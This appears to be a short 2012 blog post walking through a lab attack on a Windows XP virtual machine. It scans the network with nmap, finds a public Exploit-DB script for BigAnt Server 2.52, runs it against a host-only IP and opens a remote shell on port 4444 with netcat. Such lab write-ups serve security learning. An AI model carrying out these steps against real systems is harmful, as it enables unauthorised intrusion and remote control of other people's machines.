Monday, September 10, 2012

exploit win xp using exploit DB

now i will try to exploit win xp (virtualbox).


1. i scan the network
#nmap -sn 192.168.56.1-255

2. scan the OS and port form 1 until 10000 on ip 192.168.56.101 (target)
#nmap -A -T4 -p1-10000 192.168.56.101

3. assumed we already knew that target using BigAntServer application version 2.52

4. i use the exploit DB and seacrh the application (bigant)



5. type #cat platform/windows/remote/10765.py  to see the command for exploit

6. exploit the target 
python 10765.py 192.168.56.101

7. then remote the target with use port 4444 
#nc -vn 192.168.56.101 4444


No comments:

Post a Comment